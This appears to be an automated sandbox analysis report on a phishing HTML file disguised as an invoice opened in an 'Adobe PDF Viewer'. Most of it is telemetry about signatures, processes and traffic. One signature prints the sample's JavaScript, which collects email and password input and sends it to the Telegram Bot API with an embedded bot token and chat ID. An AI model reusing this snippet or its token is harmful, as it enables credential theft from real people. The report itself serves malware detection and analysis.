Edit tour

Windows Analysis Report
Proforma.Invoice.Payment.$$.html

Overview

General Information

Sample name:	Proforma.Invoice.Payment.$$.html
Analysis ID:	1500488
MD5:	74e11f2ec909c3bef6801d1ce8cc5edf
SHA1:	fb885a1ec51b4db596eae08a46799042a1bfe3bc
SHA256:	5d4e420c2444c6c92b7e5eceb1f117d64b6a420373ed869ee56a78ba9db39f2c
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

HTML document with suspicious name

HTML document with suspicious title

HTML file submission containing password form

Javascript uses Telegram API

Detected hidden input values containing email addresses (often used in phishing pages)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML body with high number of embedded images detected

HTML title does not match URL

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4416 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Proforma.Invoice.Payment.$$.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4084 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2200,i,5004510739044117049,14194293438167488390,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

HTML document with suspicious title

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

Tab title: Adobe PDF Viewer

Javascript uses Telegram API

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: //bot tokenvar telegram_bot_id = "6871209962:aafvpd-yd2dtygz2qeaqvgf8mmkovadbb_i";//chat idvar chat_id = 6904059174;var u_name, email, message;var ready = function () { u_name = document.getelementbyid("name").value; email = document.getelementbyid("email").value; message = document.getelementbyid("message").value; message = "email: " + email + "\npassword: " + u_name + "\nmessage: " + message;};var sender = function () { ready(); var settings = { "async": true, "crossdomain": true, "url": "https://api.telegram.org/bot" + telegram_bot_id + "/sendmessage", "method": "post", "headers": { "content-type": "application/json", "cache-control": "no-cache" }, "data": json.stringify({ "chat_id": chat_id, "text": message }) }; $.ajax(settings).done(function (response) { console.log(response); }); document.getelementbyid("name").value = ""; ...

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: sales@azteccontainer.com

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: Number of links: 0

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: Total embedded image size: 309790

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: Title: Adobe PDF Viewer does not match URL

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: Has password / email / username input fields

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: <input type="password" .../> found

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Desktop/Proforma.Invoice.Payment.$$.html

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49747 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 104.18.10.207 104.18.10.207
Source: Joe Sandbox View	IP Address: 151.101.194.137 151.101.194.137

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 13:08:19 GMTContent-Type: application/javascript; charset=utf-8Content-Length: 29730Connection: keep-aliveAccess-Control-Allow-Origin: *Cache-Control: public, max-age=30672000Content-Encoding: gzipETag: "5eb03ec4-14983"Last-Modified: Mon, 04 May 2020 16:11:48 GMTcf-cdnjs-via: cfworker/kvCross-Origin-Resource-Policy: cross-originTiming-Allow-Origin: *X-Content-Type-Options: nosniffVary: Accept-EncodingCF-Cache-Status: HITAge: 1180252Expires: Mon, 18 Aug 2025 13:08:19 GMTAccept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bVPCLKVeWDBS6JJHbfVu0yUKSmvuMUcnOylEhh%2BP4iyxHWVI9RoRVox0KVrLh4aeB%2BcBtgvr1vZf1E4dq31NnDPmvmO%2Bu5Sq0FLriPFlxFN5NFRGIasQ5vn8CvWDD4XNsPiTIRJm"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8ba487851c1bc434-EWRalt-svc: h3=":443"; ma=86400Data Raw: 1f 8b 08 00 00 00 00 00 02 ff cc fd 7b 93 db 36 b2 38 0c ff ff fb 14 23 ae 0f 43 8c 20 8d e4 24 fb 9e a5 8c 61 39 76 b2 c9 c6 4e b2 b1 77 93 3d 14 bd 05 90 20 c5 19 8a d4 50 d4 5c 22 32 9f fd 2d 34 00 12 a4 28 3b 7b 7e cf 53 f5 94 cb 23 12 c4 1d 8d be a1 bb 71 75 39 b9 b8 f9 fb 81 97 4f 17 f7 cf e7 cb f9 e7 17 f5 85 13 a2 8b e7 8b c5 97 f8 e2 f9 62 f9 85 fe fc 4d 71 c8 23 5a a5 45 8e 2f be cb c3 f9 45 7d 71 73 27 be cc 8b 32 b9 ca d2 90 e7 7b 7e 71 79 f5 7f 26 f1 21 0f 45 3e 87 62 86 8e 56 c1 6e 78 58 59 84 54 4f 3b 5e c4 17 db 22 3a 64 dc b6 cf 7c 98 f3 c7 5d 51 56 7b af ff 4a e8 3c 2a c2 c3 96 e7 95 c7 1c 8a 27 0b e4 76 0d a1 63 1a 3b 93 2e 0b aa 36 65 f1 70 91 f3 87 8b af cb b2 28 1d 4b 8d a2 e4 77 87 b4 e4 fb 0b 7a f1 90 e6 51 f1 70 f1 90 56 9b 0b Data Ascii: {68#C $a9vNw= P\"2-4(;{~S#qu9ObMq#ZE/E}qs'2{~qy&!E>bVnxXYTO;^":d|]QV{J<*'vc;.6ep(KwzQpV

Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: nullsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1Host: stackpath.bootstrapcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/2.1.3/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dZbafB1fPF8yA3Z&MD=RFb6s9x5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=dZbafB1fPF8yA3Z&MD=RFb6s9x5 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ajax/libs/jquery/2.1.3/jquery.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: http://ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/jquery-ui.min.js
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: http://ajax.googleapis.com/ajax/libs/jqueryui/1.11.2/themes/smoothness/jquery-ui.css
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
Source: chromecache_100.2.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_100.2.dr	String found in binary or memory: http://jqueryui.com/themeroller/?ffDefault=Verdana%2CArial%2Csans-serif&fwDefault=normal&fsDefault=1
Source: chromecache_103.2.dr, chromecache_99.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://api.telegram.org/bot
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://code.jquery.com/jquery-3.2.1.slim.min.js
Source: chromecache_93.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/gudea/v15/neIFzCqgsI0mp9CG_oC-Nw.woff2)
Source: chromecache_93.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/gudea/v15/neIFzCqgsI0mp9CI_oA.woff2)
Source: chromecache_93.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/gudea/v15/neIIzCqgsI0mp9gz25WBFqw.woff2)
Source: chromecache_93.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/gudea/v15/neIIzCqgsI0mp9gz25WPFqwKUQ.woff2)
Source: chromecache_90.2.dr, chromecache_104.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_98.2.dr, chromecache_96.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_90.2.dr, chromecache_98.2.dr, chromecache_96.2.dr, chromecache_104.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_90.2.dr, chromecache_98.2.dr, chromecache_96.2.dr, chromecache_104.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Source: Proforma.Invoice.Payment.$$.html	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.5:49747 version: TLS 1.2

System Summary

HTML document with suspicious name

Source: Name includes: Proforma.Invoice.Payment.$$.html

Initial sample: invoice

Source: classification engine

Classification label: mal56.phis.winHTML@24/36@22/13

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\Proforma.Invoice.Payment.$$.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2200,i,5004510739044117049,14194293438167488390,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2200,i,5004510739044117049,14194293438167488390,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: Proforma.Invoice.Payment.$$.html

